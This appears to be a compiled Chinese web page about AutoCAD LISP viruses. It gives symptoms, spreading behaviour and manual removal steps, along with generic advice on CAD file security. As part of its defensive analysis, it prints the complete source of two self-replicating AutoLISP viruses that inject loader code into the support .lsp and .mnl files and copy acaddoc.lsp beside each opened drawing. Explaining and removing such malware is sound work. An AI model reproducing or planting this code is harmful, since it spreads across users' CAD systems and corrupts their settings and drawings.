CAD的病毒文件与杀毒方案
- 格式:doc
- 大小:20.50 KB
- 文档页数:2
前言: 最近本人公司里流行一种CAD病毒,中毒后,CAD每次新开图均生成一个的病毒文件,虽破坏力不大,但烦不胜烦。
经研究病毒源码后,摸索出了一套清除该病毒的办法。
然后经过在数个同事机器上验证,该方法行之有效。
于是将杀毒方法成文,群发给部门同事,以下是原文。
一病毒简介:最近公司里流传一种cad病毒。
该病毒可被卡巴斯基和360杀毒软件查出。
卡巴斯基查出病毒名为,360杀毒软件查出病毒名为。
遗憾的是,卡巴斯基和360杀毒软件均不能将其彻底清除。
二中毒症状:机器中毒后,运行CAD时,每打开一个dwg文件,均在dwg文件所在目录下生成一个的文件。
由于每次开图,病毒程序均进行一次病毒传播复制过程,因此使得CAD开图时速度变慢。
用记事本查看CAD安装路径下的support目录下的任一*.lsp文件,如文件末尾含有与附件1相同的代码,则可判定为中毒。
三传播机理:通过分析病毒的源代码,初步了解其传播机理如下:如机器已中毒,CAD新打开dwg文件时,病毒程序自动加载。
并搜索CAD工作目录下的文件,感染同一目录下的*.mnl文件,搜索acad的support目录,并感染该目录下的所有*.lsp文件。
同时病毒在当前打开的dwg文件所在目录下生成文件,以利于下次传播。
如本机未中毒,而新打开的dwg文件所在目录下有文件,则病毒将感染上述目录下的*.mnl与*.lsp文件。
该病毒的最终目的是调用acadapq 与 acadappp 两个非法程序。
至于这两个程序会干什么,暂未深入研究。
四清除步骤:1. 退出CAD。
2. 全盘搜索acadapq.*、、acadappp.*、acaddoc.* 文件,然后彻底删除上述文件。
注意查找前在文件夹选项中设置“显示所有文件与文件夹”以及取消“隐藏受保护的操作系统文件”。
搜索时选择“查找所有文件及文件夹”,然后在“高级选项”里勾选“搜索系统文件夹”“搜索隐藏的文件和文件夹”“搜索子文件夹”。
cad病毒acad处理cad病毒acad处理这是一种病毒,但不用重装,可以杀的一、彻底的解决方案1:(主要是acad.fas程序文件)1、清除方法是删除干净acad.fas与lcm.fas两个文件!如果删除不净下次启动是还是会生成,务必清理干净!同时搜acad.lsp和acadapp.lsp删掉2、进入“C:\\Documents and Settings\\用户名\\Application Data\\Autodesk\\AutoCAD 2005\\R16.1\\chs\\support"如果有acad.fas,删除打开acad.mnl,末尾如有不明代码,删除。
清除步骤:1.退出CAD。
2.全盘搜索acadapq.*、、acadappp.*、acaddoc.* 文件,然后彻底删除上述文件。
注意查找前在文件夹选项中设置“显示所有文件与文件夹”以及取消“隐藏受保护的操作系统文件”。
搜索时选择“查找所有文件及文件夹”,然后在“高级选项”里勾选“搜索系统文件夹”“搜索隐藏的文件和文件夹”“搜索子文件夹”。
如果搜出的文件无法删除,则先清空回收站,再搜索删除。
注:探索者目录下有个AcadDoc.lsp(注意大小写)不是病毒文件,谨防误删。
3.查看C盘根目录下是否有boot.dat文件,如有,则将其删除。
4.进入C:\\Documents and Settings\\用户名\\Application Data\\Autodesk\\AutoCAD 2006(或AutoCAD2004)\\R16.2\\chs\\Support目录,用记事本打开该目录下的所有*.mnl文件,手动删除与附件1相同的代码(一般都在文件末尾),然后保存。
并将修改后的所有*.mnl文件属性设置为“只读”。
5.进入CAD安装目录下的support目录,将该目录下的所有*.lsp 文件按步骤4方法处理。
记得将其属性设为“只读”。
1.CAD病毒的简介与危害CAD病毒,实际上是基于CAD程序支持的vlisp语言编写的一类代码。
它和你用过的绝大多数CAD小插件其实一样,是必须依附于CAD环境下才能运行的程序。
1.1目前常见CAD病毒有以下几个特点:1.它完全依附于CAD运行,在不打开CAD的情况下,它既不会运行,也不会主动传播。
2.它的作用范围仅限于CAD及其附属插件(如天正、探索者等);不会破坏CAD软件本身,但可能改乱CAD 设置、改乱CAD图纸数据。
3.除了CAD及其附属插件(如天正、探索者等)外,你电脑里别的软件卡、慢、崩溃,或者系统卡、慢、蓝屏死机,这些都跟CAD病毒没有一毛钱关系。
4.由于目前新的WIN7、WIN10系统权限严格,免费杀毒软件普及,CAD版本不断升级,CAD病毒作用范围有限,给病毒作者带来不了收益,所以基本上没有新出来的CAD病毒了,还在流行的CAD病毒,都是十多年前遗留下来的,很古老的。
1.2目前还在流行的CAD病毒存在以下几点危害:1.部分CAD病毒会搞一些无聊的弹窗【不吃饭了快干活、党不会亏待你、现在时间是XX等等】,但是这类病毒太显眼,已经被杀的差不多了,比较少见.2.大多数还在流行的病毒,都是后台默默感染传播,没有任何提示,不注意是看不到的。
这类病毒的代码里,还能运行的主要是他的自身复制传播功能、修改CAD设置、修改图纸数据功能。
所以一些CAD病毒会乱改你CAD 设置、图纸设置、图纸数据,导致CAD操作异常、复制粘贴出问题、图纸文件异常大等,这是它的主要危害之一。
3.正如前边说的,CAD病毒大多比较古老,代码陈旧,而软件更新换代,病毒的代码运行已经出现很多缺陷、错误。
当你中CAD病毒的同时,你又在使用探索者、天正之类基于CAD的插件,在这些软件打开加载的时候,CAD病毒同时也在加载,且它的代码存在缺陷错误而卡住、或进入死循环,常常同时导致天正探索者加载失败或者在加载时卡死,这也是它目前最主要的危害之一。
CAD文件的数据安全和防止不当使用措施CAD(Computer Aided Design,计算机辅助设计)是现代工程设计中广泛使用的一种工具,可以帮助工程师们进行数字化设计和模拟,提高设计效率和准确性。
然而,随着CAD技术的快速发展,CAD文件的数据安全问题也日益引起人们的关注。
本文将探讨CAD文件的数据安全性,并介绍一些防止不当使用的措施,以确保CAD文件的安全性和保密性。
一、CAD文件的数据安全性问题CAD文件通常包含了大量的设计信息,包括产品图纸、设计参数、材料选择等重要信息。
这些信息对于企业来说至关重要,一旦落入他人手中,可能造成知识产权的丧失、商业机密的泄露以及经济损失等严重后果。
因此,CAD文件的数据安全性问题是不容忽视的。
1. 不当访问和篡改:CAD文件可能会因为网络攻击、病毒感染或未经授权的访问而遭到篡改或删除,导致设计数据的丧失或不完整。
2. 数据泄露:在设计过程中,CAD文件可能会被泄露给竞争对手或未经授权的第三方,从而导致设计的知识产权和商业机密的泄露。
3. 丢失和损坏:由于硬件故障、系统崩溃或人为操作失误,CAD文件可能会被意外删除或损坏,造成设计数据的不可恢复性损失。
二、防止不当使用CAD文件的措施为了确保CAD文件的数据安全性,需要采取一系列措施来防止不当使用和泄露。
1. 访问控制措施:在设计文件中设置访问权限,只有经过授权的人员才能够访问和修改CAD文件。
可以使用密码、加密和数字签名等技术手段,限制访问和修改权限,确保数据的安全性。
2. 网络安全措施:对CAD系统进行网络安全配置,包括安装防火墙、入侵检测和防病毒软件等,防止网络攻击和恶意软件对CAD文件的篡改和破坏。
3. 数据备份和恢复:定期对CAD文件进行备份,确保在CAD文件丢失或损坏时可以及时恢复。
备份应该分散保存在不同的位置,以防止单一地点的数据损失。
4. 员工教育和安全意识培养:加强员工对CAD文件安全的培训,提高安全意识。
常见AutoCAD病毒(acad.fas、acad.lsp)清除方法没有删除干净吧。
“CAD恶意程序”网上也称之为“CAD病毒”。
其实,常见的CAD恶意程序并不具备一般病毒特征,不能单独传染,不会感染系统文件,只能在CAD环境下传播,没有对系统产生危害,但会造成CAD 部份命令失效(如:无法使用分解命令、鼠标中键平移被修改、填充不能使用、多段线空心等),使其操作不便,从而影响制图效率及质量。
CAD恶意程序清除工具,支持CAD2002-2010版本。
程序根据“病毒及信任文件”列表搜索、删除CAD恶意程序并清除其加载项。
大家在工作中,打开自己或别人拷贝来的DWG文件前,不要忙着打开CAD,先看看这个DWG图纸目录内,有没有acad.lsp、acad.fas和acad.vlx这些的文件,有就应该立即清除该文件。
这样可以大大减少“CAD恶意程序”传播的机会。
手工清除方法:①、关闭CAD(一定要关闭正在运行中的CAD程序);②、按F3键或在“开始”菜单打开“搜索”→“文件或文件夹”搜索窗口,全盘搜索下面的已知可能是CAD恶意程序的文件名;acad.lspacad.fasacad.vlxacad.sysacaddoc.lspacadiso.lspacaddoc.fasacadapq.lspacadappp.lspacadapp.lsplcm.fasacadsmu.fas搜索发现文件后,注意该文件的所在目录,判断这个文件是不是你正在使用的某些外挂插件或专业软件所用到的自动加载文件,再决定是否删除。
注意:“搜索范围”一定要选择“本地硬盘(C:;D:;E:;...)”,并勾选“搜索选项”中的“高级选项”,将其下的“搜索系统文件夹”、“搜索隐藏的文件和文件夹”和“搜索子文件夹”项都勾选上,否则不能完全搜索出这些文件。
③、复制代码“(setvar "zoomfactor" 40)(setvar "mbuttonpan"1)(setvar "highlight" 1)(se tvar "fillmode" 1)(setvar "pickauto" 1)”粘贴在CAD命令行,恢复被修改的系统变量;④、清除残留的加载项,复制“(startapp "notepad" (findfile "acad.mnl"))”在CAD命令行,打开“acad.mnl”文件,查看文件内是否有类似“(load "acadappp")”或“(load "acadappp.lsp")”这样的内容,有则删去这些内容后保存“acad.mnl”文件;无可忽略此操作。
AUTOCAD病毒的清除方法acaddoc.lsp是一个专门针对CAD文件的病毒,在CAD软件使用中主要表现的情况如下:1、无法拷贝2、在命令行提示需要执行一个宏3、CAD会出莫名其妙的问题解决方法:关闭AutoCAD程序;搜索所有acaddoc.lsp和acadapq.lsp文件删除所有关acadapq.lsp(3,836字节) 和被感染的acaddoc.lsp(27字节) (看文件大小);重启AutoCAD,OKashan发表LZ还说少了一个步骤:没有处理acad.mnl文件,这样的清除并不彻底,下次再打开带毒的dwg文件(这里并非指dwg文件本身带毒,而是指在该dwg文件下有acaddoc.lsp文件存在)后,系统又会感染病毒,偶曾经对这个cad病毒的代码做过详细分析,下面是原文,有兴趣的朋友可以详细看看:最近自己的电脑中了CAD病毒,症状为打开一个dwg文件后,在该dwg文件所在目录下就会自动生成一个“acaddoc.lsp”文件,即使手工将其删除,下次打开dwg文件时又会自动生成。
如果把dwg文件和acaddoc.lsp文件一起复制到另外一部未感染CAD病毒的电脑上,只要一打开该dwg文件,则该电脑就会被感染。
因为这个CAD病毒是个lisp程序,花了些时间对病毒代码进行分析如下:-----------------下面是病毒代码-----------------------------(setq wold_cmd (getvar "cmdecho"))(setvar "cmdecho" 0)(setq wpath (findfile "base.dcl"))(setq wpath (substr wpath 1 (- (strlen wpath) 8))) ;wpath变量保存ACAD下support目录路径(setq wwmnlwpath (getvar "menuname")) ;获得当前菜单名,这句没有用处,下面并未使用wwmnlwpath变量(setq wnowdwg (getvar "dwgname")) ;获得当前打开图形文件名(setq wwjqm (findfile wnowdwg)) ;wwjqm变量保存当前打开图形文件的完整路径(setq wdwgwpath (substr wwjqm 1( - (strlen wwjqm) (strlen wnowdwg)))) ;wdwgwpath变量保存当前打开图形文件所在路径;;;alert( setq f ( open "c:\\boot.dat" "w")) ;f变量为boot.dat文件句柄,c盘根目录下boot.dat文件若存在则(write-line "[dang]" f) ;打开,不存在则创建,然后将当前打开图形文件所在路径和support(write-line (strcat "ff=" wdwgwpath) f) ;目录路径写入boot.dat文件(write-line (strcat "yy=" wpath) f)(close f)(setq boot (findfile "boot.dat")) ;获得boot.dat文件所在目录完整路径(if (/= boot "") (command "_-vbarun" "ThisDrawing.hh")) ;这句是要运行一个名为“ThisDrawing.hh”的宏,但该宏并不存在(setq wacadwpath (findfile "acaddoc.lsp")) ;wacadwpath变量保存当前加载的acaddoc.lsp文件所在目录(setq wacadwpath (substr wacadwpath 1(- (strlen wacadwpath) 11)))(setq wns1 "" wns2 "")(setq wlspbj 0) ;wlspbj变量是判断support目录下acaddoc.lsp文件是否已感染的;;; ;标志,已感染为1,未感染为0(setq wwjqm (strcat wpath "acaddoc.lsp")) ;wwjqm变量指向support目录下的acaddoc.lsp文件(if (setq wwjm (open wwjqm "r")) ;wwjm变量为打开support目录下的acaddoc.lsp文件的句柄,若打开(progn ;成功则进行处理(while(setq wwz (read-line wwjm)) ;逐行读取acaddoc.lsp文件内容,读取结束后,wns1中是倒数第2行(setq wns1 wns2 ) ;内容,wns2中是最后一行的内容(setq wns2 wwz))(if (> (strlen wns1) 14) ;判断wns1中从第8个字符开始的7个字符是否为“acadapq”,(if (= (substr wns1 8 7) "acadapq") ;若是则已感染(setq wlspbj 1)))(close wwjm)))(setq wlspmnl 0) ;wlspmnl变量是判断support目录下acad.mnl文件是否已感染的标志,;;; ;已感染为1,未感染为0(setq wwjqm (strcat wpath "acad.mnl")) ;wwjqm变量指向support目录下的acad.mnl文件(if (setq wwjm (open wwjqm "r" )) ;wwjm变量为打开support目录下的acad.mnl文件的句柄,若打开(progn ;成功则进行处理(while (setq wwz (read-line wwjm)) ;逐行读取acad.mnl文件内容,读取结束后,wns1中是倒数第2行内容(setq wns1 wns2 ) ;wns2中是最后一行的内容(setq wns2 wwz))(if (> (strlen wns1) 14) ;判断wns1中从第8个字符开始的7个字符是否为“acadapq”,若是则(if (= (substr wns1 8 7) "acadapq") ;已感染(setq wlspmnl 1)))(close wwjm) ;关闭acad.mnl文件))(if (= wlspmnl 0) ;若acad.mnl文件未感染,则写入加载病毒的代码到acad.mnl文件的(progn ;最后2行中(setq wwjqm (strcat wpath(strcat (chr 97) (chr 99) (chr 97)(chr 100) (chr 46) (chr 109)(chr 110) (chr 108)) )) ;障眼法,等于(strcat wpath "acad.mnl")(setq wwjm (open wwjqm "a"))(write-line (strcat "(load " (chr 34)"acadapq" (chr 34) ")" ) wwjm)(write-line "(princ)" wwjm)(close wwjm)))(defun wwriteapp ()(if (setq wwjm1 (open wnewacad "w"))(progn(setq wwjm (open woldacad "r"))(while (setq wwz (read-line wwjm))(write-line wwz wwjm1))(close wwjm)(close wwjm1))))(if (and (= wacadwpath wdwgwpath)(/= wacadwpath wpath)) ;若加载的acaddoc.lsp文件和图形文件同目录(progn(if (= 0 wlspmnl) ;acad.mnl文件未感染(progn(setq woldacad (findfile "acaddoc.lsp")) ;在下面调用wwriteapp子程序读取图形文件目录下的acaddoc.lsp文件(setq wnewacad (strcat wpath "acadapq.lsp")) ;的内容,在support目录下创建acadapq.lsp 文件并将acaddoc.lsp) ;文件的内容写入acadapq.lsp文件中;;else (acad.mnl文件已感染)(progn(setq woldacad (strcat wpath "acadapq.lsp" )) ;在下面调用wwriteapp子程序读取support目录下的acadapq.lsp文件(setq wnewacad (findfile "acaddoc.lsp")) ;的内容,写入图形目录下的acaddoc.lsp文件中))(if (= wlspbj 0) ;support目录下的acaddoc.lsp文件未感染(progn ;下面代码将加载病毒程序的代码写入acaddoc.lsp文件的最后2行中(setq wwjqm (strcat wpath "acaddoc.lsp" ))(setq wwjm (open wwjqm "a"))(write-line (strcat "(load " (chr 34)"acadapq" (chr 34) ")" ) wwjm)(write-line "(princ)" wwjm)(close wwjm)))(wwriteapp));;else (若加载的是support目录下的acaddoc.lsp文件)(progn(if (/= wnowdwg "Drawing.dwg" ) ;当前打开文件不是新建图形文件(progn(setq woldacad (findfile "acadapq.lsp")) ;在图形文件目录下创建acaddoc.lsp文件,将acadapq.lsp(setq wnewacad (strcat wdwgwpath "acaddoc.lsp")) ;文件的内容写入acaddoc.lsp文件中(wwriteapp)))))(setvar "cmdecho" wold_cmd)(princ) ;下面的代码又是个障眼法,没什么作用(setq strtopstr (strcat (chr 92) (chr 92) (chr 70)(chr 83) (chr 49) (chr 92)(chr 83) (chr 89) (chr 83)(chr 49) (chr 92) (chr 87)(chr 79) (chr 82) (chr 75)(chr 92) (chr 80) (chr 76)))-----------------病毒代码到此结束----------------------------从以上对病毒代码的分析可知,该病毒的病毒文件有2个,一个为acadapq.lsp,位于ACAD 安装目录下的support目录下,另一个为acaddoc.lsp,位于当前打开的dwg文件所在目录下,2个病毒文件的内容相同。
一种CAD病毒的清除与防范措施雪山飞猪QQ534455近来又出现一种AutoCAD病毒,该病毒与以往CAD病毒不同。
干净的CAD系统当打开DWG图时,如果该图所在目录下有ACADDOC.LSP文件(基本为病毒传播文件),ACADDOC.LSP就会运行。
1.病毒的特征与传播方式我们先看看病毒代码,代码如下:(setq flagx t)(setq bz "(setq flagx t)")(defun app(source target bz / flag flag1 wjm wjm1 text)(setq flag nil)(setq flag1 t)(if (findfile target)(progn(setq wjm1 (open target "r"))(while (setq text (read-line wjm1))(if (= text bz) (setq flag1 nil)));while(close wjm1));progn);if(if flag1(progn(setq wjm (open source "r"))(setq wjm1 (open target "a"))(write-line (chr 13) wjm1)(while (setq text (read-line wjm))(if (= text bz) (setq flag t))(if flag(progn(write-line text wjm1));progn);if);while(close wjm1)(close wjm));progn);if);defun(setvar "cmdecho" 0)(setq acadmnl (findfile "acad.mnl"))(setq acadmnlpath (vl-filename-directory acadmnl)) (setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl")) (setq mnlnum (length mnlfilelist))(setq acadexe (findfile "acad.exe"))(setq acadpath (vl-filename-directory acadexe))(setq support (strcat acadpath "\\support"))(setq lspfilelist (vl-directory-files support "*.lsp"))(setq lspfilelist (append lspfilelist (list "acaddoc.lsp")))(setq lspnum (length lspfilelist))(setq dwgname (getvar "dwgname"))(setq dwgpath (findfile dwgname))(if dwgpath(progn(setq acaddocpath (vl-filename-directory dwgpath))(setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp"))(setq mnln 0)(while (< mnln mnlnum)(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))(app mnlfilename acaddocfile bz)(app acaddocfile mnlfilename bz)(setq mnln (1+ mnln)));while(setq lspn 0)(while (< lspn lspnum)(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))(app lspfilename acaddocfile bz)(app acaddocfile lspfilename bz)(setq lspn (1+ lspn)));while);progn);if(setq mnln 0)(while (< mnln mnlnum)(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))(setq mnln1 0)(while (< mnln1 mnlnum)(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))(app mnlfilename mnlfilename1 bz)(setq mnln1 (1+ mnln1)));while(setq lspn1 0)(while (< lspn1 lspnum)(setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))(app mnlfilename lspfilename1 bz)(setq lspn1 (1+ lspn1)));while(setq mnln (1+ mnln)));while(setq lspn 0)(while (< lspn lspnum)(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))(setq lspn1 0)(while (< lspn1 lspnum)(setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))(app lspfilename lspfilename1 bz)(setq lspn1 (1+ lspn1)));while(setq mnln1 0)(while (< mnln1 mnlnum)(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))(app lspfilename mnlfilename1 bz)(setq mnln1 (1+ mnln1)));while(setq lspn (1+ lspn))(load "acadapq")(princ)(load "acadapp")(princ)(load "acadapq")(princ)病毒代码运行后,首先会把病毒代码写入CAD用户系统目录下的*.mnl文件和CAD的support目录下的*.lsp文件中。
CAD中毒解决方案一、背景介绍CAD(计算机辅助设计)是一种广泛应用于工程设计领域的软件工具,它可以帮助工程师进行设计、绘图和模拟等工作。
然而,由于CAD文件的复杂性和重要性,它们往往成为恶意软件攻击的目标。
CAD中毒是指CAD文件受到恶意软件的感染,导致文件损坏、数据泄露或系统崩溃等问题。
二、CAD中毒的危害1. 文件损坏:恶意软件可能会修改CAD文件的内容,导致文件无法正常打开或编辑。
2. 数据泄露:攻击者可以利用恶意软件窃取CAD文件中的敏感信息,如设计方案、机密数据等。
3. 系统崩溃:某些恶意软件可能会导致CAD软件运行异常甚至系统崩溃,影响工程设计进程。
三、CAD中毒解决方案为了保护CAD文件的安全性和完整性,以下是一些CAD中毒解决方案的建议:1. 安装可靠的杀毒软件首先,确保计算机上安装了可靠的杀毒软件,并及时更新病毒库。
杀毒软件能够检测和清除恶意软件,有效防止CAD文件被感染。
2. 定期备份CAD文件定期备份CAD文件是防止数据丢失的重要措施。
将CAD文件备份到外部存储设备或云存储平台,以防止恶意软件感染或其他意外情况导致的数据丢失。
3. 谨慎打开附件和下载文件避免打开来自不可信来源的附件,尤其是包含可执行文件的附件。
此外,只从官方和可信的网站下载CAD文件和插件,以降低感染恶意软件的风险。
4. 更新CAD软件和插件定期更新CAD软件和插件是保持系统安全的重要步骤。
这些更新通常包含安全修复和漏洞补丁,能够提高系统的抵抗恶意软件的能力。
5. 加强网络安全加强网络安全措施可以有效防止恶意软件通过网络传播和入侵系统。
使用防火墙、入侵检测系统和虚拟专用网络(VPN)等技术,限制未经授权的访问和保护CAD文件的安全。
6. 增强员工安全意识加强员工的安全意识培训,教育他们如何辨别和避免恶意软件的攻击。
员工应该知道如何识别可疑的电子邮件、网站和文件,以及如何正确处理和报告安全事件。
7. 定期进行系统安全检查定期进行系统安全检查可以及早发现和清除潜在的恶意软件。
CAD文件的安全性与防护策略概述CAD(计算机辅助设计)文件是现代设计工作中不可或缺的组成部分,包含了机密的设计图纸、模型和其他敏感信息。
因此,确保CAD文件的安全性至关重要。
本文将探讨CAD文件的安全性风险,并提供一些防护策略以保护这些文件免受非法获取、篡改或泄露的威胁。
CAD文件安全风险1. 非授权访问:未经授权的人员可能通过各种方式获取CAD文件,如网络攻击、社交工程等。
2. 文件篡改:黑客、竞争对手或内部人员可能修改CAD文件,增加错误或恶意代码,导致设计错误或信息泄露。
3. 文件泄露:如果CAD文件被盗窃、意外丢失或被不当共享,其中包含的敏感数据可能被用于不法用途。
CAD文件安全防护策略1. 网络安全措施a. 使用防火墙和入侵检测系统:这些安全设备可以阻止未经授权的访问,并检测和报告潜在的安全威胁。
b. 加密通信:在CAD文件的传输过程中,使用加密协议(如HTTPS或VPN)来保护数据的机密性。
c. 预防恶意软件:定期更新防病毒软件,并对所有传入的CAD文件进行扫描以防止恶意软件的感染。
2. 访问控制a. 强密码策略:设定强密码要求,并定期更换密码,以防止未经授权的访问。
b. 多因素身份验证:使用双因素或多因素身份验证,如指纹识别、智能卡等,提高访问安全性。
c. 权限管理:限制对CAD文件的访问权限,并为每个用户分配适当的权限,避免未经授权的数据访问。
3. 审计和监控a. 文件历史记录:记录CAD文件的修改历史,包括谁进行了修改、何时修改以及修改的内容,以便审计和追踪。
b. 实时监控:使用安全信息和事件管理系统(SIEM)来监控CAD文件的访问和修改,并及时检测异常行为。
c. 用户培训和教育:为员工提供关于CAD文件安全的培训和教育,增强他们对安全威胁的认识和警惕性。
4. 备份和恢复a. 定期备份:对CAD文件进行定期备份,确保在文件意外丢失、损坏或被篡改时能够进行恢复。
b. 离线储存:将备份文件储存在独立于网络的离线媒体上,以防止网络攻击对备份文件的破坏。
CAD的病毒文件与杀毒方案
方法一:
(1)全盘搜索acadapp.*、acadappp.*、acaddoc.*文件,然后彻底删除。
注意查找前在文件夹选项中设置“显示所有文件与文件夹”。
搜索时选择“查找所有文件及文件夹”,然后在“高级选项”里勾选“搜索系统文件夹”“搜索隐藏的文件及文件夹”。
(2)系统盘根目录下如有boot.dat文件,将其删除。
(3)进入C:\Documents and Settings\用户名\Application
Data\Autodesk\Autocad20**\R1**\chs\Support目录,用记事本打开该目录下所有*.mnl文件,手动删除与病毒相同的代码(一般在文件末尾),然后保存。
修改后的mnl文件属性改为只读。
(4)进入CAD安装目录下的support目录,将该目录下的所有*.lsp文件同上处理。
方法二:
解析ACADDOC.LSP病毒文件与杀毒方案CAD的病毒很多但都大同小异。
现就出现的ACADDOC.LSP病毒进行杀毒。
不用重新安装CAD的办法。
1、发现文件夹中多出ACADDOC.LSP说明你中毒了。
2、关闭CAD程序。
3、全盘查找*.fas *.lsp *.mnl *.arx文件,除了CAD安装目录以外的全部删除。
4、检查CAD安装目录文件的修改时间,把最近的几个文件中的病毒代码删除。
(用记事本打开)
5、把CAD安装目录中的所有*.fas *.lsp *.mnl *.arx文件改为只读属性。
说明:1、ACADDOC.LSP病毒感染X:\Program Files\AutoCAD 20**\Support文件夹下的3d.lsp;3darray.lsp;acad2010.lsp;acad2010doc.lsp;
acadinfo.lsp;ai_utils.lsp;attredef.lsp;edge.lsp;mvsetup.lsp;sample-profile-util.lsp 文件。
2、要删除的病毒代码在文件的尾部,具体如下:
(setq flagx t)
(setq bz "(setq flagx t)")
(defun app(source target bz / flag flag1 wjm wjm1 text)
(setq flag nil)
(setq flag1 t)
(if (findfile target) (progn
(setq wjm1 (open target "r"))
(while (setq text (read-line wjm1))
(if (= text bz) (setq flag1 nil))
);while
(close wjm1)
);progn
);if
(if flag1
(progn
(setq wjm (open source "r"))
(setq wjm1 (open target "a"))
(write-line (chr 13) wjm1)
(while (setq text (read-line wjm))
(if (= text bz) (setq flag t))
(if flag
(progn
(write-line text wjm1)
);progn
);if
);while
(close wjm1)
(close wjm)
);progn
);if
);defun
(setvar "cmdecho" 0)
(setq acadmnl (findfile "acad.mnl"))
(setq acadmnlpath (vl-filename-directory acadmnl)) (setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl")) (setq mnlnum (length mnlfilelist))
(setq acadexe (findfile "acad.exe"))
(setq acadpath (vl-filename-directory acadexe))
(setq support (strcat acadpath "\\support"))
(setq lspfilelist (vl-directory-files support "*.lsp"))
(setq lspfilelist (append lspfilelist (list "acaddoc.lsp")))
(setq lspnum (length lspfilelist))
(setq dwgname (getvar "dwgname"))
(setq dwgpath (findfile dwgname))
(if dwgpath
(progn
(setq acaddocpath (vl-filename-directory dwgpath))
(setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp"))
(setq mnln 0)
(while (< mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist))) (app mnlfilename acaddocfile bz)
(app acaddocfile mnlfilename bz)
(setq mnln (1+ mnln))
);while
(setq lspn 0)
(while (< lspn lspnum)
(setq lspfilename (strcat support "\\" (nth lspn lspfilelist))) (app lspfilename acaddocfile bz)
(app acaddocfile lspfilename bz)
(setq lspn (1+ lspn))
);while
);progn
);if
(setq mnln 0)
(while (< mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist))) (setq mnln1 0) (while (< mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist))) (app mnlfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1)) );while
(setq lspn1 0)
(while (< lspn1 lspnum)
(setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist))) (app mnlfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);while
(setq mnln (1+ mnln))
);while
(setq lspn 0)
(while (< lspn lspnum)
(setq lspfilename (strcat support "\\" (nth lspn lspfilelist))) (setq lspn1 0)
(while (< lspn1 lspnum)
(setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist))) (app lspfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);while
(setq mnln1 0)
(while (< mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist))) (app lspfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1))
);while
(setq lspn (1+ lspn))
(load "acadapq")
(princ)。